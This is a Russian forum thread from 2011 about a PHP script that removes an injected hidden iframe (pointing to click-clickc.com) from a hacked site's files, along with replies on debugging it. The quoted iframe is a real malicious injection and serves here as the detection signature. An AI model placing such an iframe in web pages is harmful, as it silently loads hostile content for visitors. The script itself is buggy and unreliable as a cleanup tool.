Вот сам скрипт:
<?php
//Virus removal script by OSA
//v1.1 31.10.2010
$virus_text = '<iframe width="0" height="0" frameborder="0" scrolling="no" src="http://click-clickc.com/index12"></iframe>';
$skip_files = array ('delvirus.php');
$del = false;
$dir = getcwd().'/';
$num_infected = 0;
function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') {
if ($dh = opendir($dir)) {
while (($file = readdir($dh))!== false) {
if ($file === '.' || $file === '..') {
continue;
}
if (is_file($dir . $file)) {
if (is_array($types)) {
if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) {
continue;
}
}
$callback($baseDir, $file);
}elseif($recursive && is_dir($dir . $file)) {
dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR);
}
}
closedir($dh);
}
}
function del_virus ($fdir, $ffile)
{
$flag = false;
$filename = $fdir.$ffile;
echo $filename;
$file=file($filename);
foreach($file as $k=>$v)
if (!stristr($v,$GLOBALS['virus_text']))
$nfile[]=$v;
else
{
if (!$flag) {
$flag=true;
if (in_array($ffile, $GLOBALS['skip_files']))
echo " - skipped";
else
{
echo " - infected";
$GLOBALS['num_infected']++;
}
}
}
if ( $GLOBALS['del'] ) {
$file=fopen($filename,"w");
fwrite($file,implode($nfile,""));
fclose($file);
}
echo "<br/>";
};
dir_walk('del_virus', $dir, array('php','php5','html','htm','shtml'), true, $dir );
echo "Num infected = $num_infected <br/>";
?>
после отработки скрипт выдает вместе со статиской вот такие ошибки:
Warning: implode() [function.implode]: Invalid arguments passed in /home/u62325/мой домен/www/indexx.php on line 57
Помогите пожайлуста отладить скрипт, на форуме джумла помалкивают.
Вот ссылка на страницу обсуждения скрипта: _http://joomlaforum.ru/index.php/topic,132330.0.html
Спустя 1 час, 1 минута, 35 секунд (25.03.2011 - 18:23) Белый Тигр написал(а):
Чтоб не ждать долго проще потереть всё руками. Скачиваем всё себе на винт, проходимся поиском с параметром "Искать файлы с текстом" (ищем вхождения вредоносного кода) и трём. Так будет просто быстрее.
А вообще:
http://phpforum.ru/index.php?showtopic=17363
http://phpforum.ru/index.php?showtopic=28790
А вообще:
http://phpforum.ru/index.php?showtopic=17363
http://phpforum.ru/index.php?showtopic=28790
Спустя 1 час, 5 минут, 48 секунд (25.03.2011 - 19:29) mamon написал(а):
Спасибо наверное так и прийдется сделать если ни кто не поможет.
Спустя 21 час, 59 минут, 28 секунд (26.03.2011 - 17:28) Белый Тигр написал(а):
А врятли помогут. Здесь нужно покопаться хорошо в коде. Проблема ведь не только с Warning`ом функции implode, проблема ещё и в неверном удалении вируса если он размещён посередине кода.
Спустя 30 минут, 41 секунда (26.03.2011 - 17:59) inpost написал(а):
mamon
я не вижу explode
я не вижу explode